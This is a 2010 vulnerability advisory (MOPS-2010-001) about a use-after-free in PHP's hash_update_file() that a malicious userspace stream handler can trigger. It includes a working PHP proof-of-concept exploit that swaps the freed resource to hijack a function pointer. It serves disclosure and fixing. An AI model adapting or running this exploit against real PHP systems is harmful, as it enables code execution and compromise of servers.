# MOPS-2010-001: PHP hash_update_file() Already Freed Resource Access Vulnerability

May 1st, 2010

During Month of PHP Bugs in 2007 the same vulnerability was already disclosed to the general public. Because the issue remained unfixed for three years the Month of PHP Security 2010 starts with this old unfixed vulnerability.
When the hash_update_file() function is called it first retrieves the resource data for further processing. It then reads data from the stream for hashing purposes. A malicious userspace stream handler can destroy the hash resource from the read handler and replace it with a specially prepared fake resource that contains a modified hash function pointer table. When the internal function continues hashing it will call the overwritten function pointer and attempt to execute potentially malicious code because of the overwritten function pointer.

**Affected versions**

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

**Credits**

The vulnerability was discovered by Stefan Esser during the Month of PHP Bugs in 2007.

**Detailed information**

When PHP functions need to keep track of data structures they register resources with the Zend Engine. The resource system has reference counters but those only keep track of the PHP variables that point to the actual resource. There is however no usage counter that counts how many functions currently use the resource internally.

Because of this a special bug class exists in the PHP code. Whenever it is possible for usercode to interrupt a PHP function after it has acquired the resource data through the resource identifier, the usercode can destroy the resource and for example allocate a PHP string of the same size that will take the same place in memory as the freed resource. This PHP string can be used to create a special crafted resource that allows exploiting the internals of the PHP functions. When the malicious interruption ends the function will continue and use the replaced resource data.

This bug demonstrates that to achieve the necessary function interruption not only a userspace errorhandler but also a userspace stream handler can be used.

**Proof of concept, exploit or instructions to reproduce**

The following exploit code will exploit the vulnerability and trigger an attempted execution at 0×55555555, which should crash in the normal case.

```
<?php
 define("OFFSET", pack("L",0x55555555));

 class AttackStream {
  function stream_open($path, $mode, $options, &$opened_path)
  {
   return true;
  }

  function stream_read($count)
  {
   hash_final($GLOBALS['hid'], true);
   $GLOBALS['aaaaaaaaaaaaaaaaaaaaaa'] = str_repeat(OFFSET, 3);
   return "A";
  }

  function stream_eof()
  {
   return true;
  }

  function stream_seek($offset, $whence)
  {
        return false;
  }
 }

 stream_wrapper_register("attack", "AttackStream") or die("Failed to register protocol");

 $hid = hash_init('md5');
 hash_update_file($hid, "attack://nothing");
?>
```

**Notes**

The correct way to fix this vulnerability is to implement a resource usage counter for internal functions. The curl extension of PHP already contains code that keeps track of internal usage of the resource and therefore is not vulnerable to this attack. We strongly recommend to merge this feature into the hash extension.

---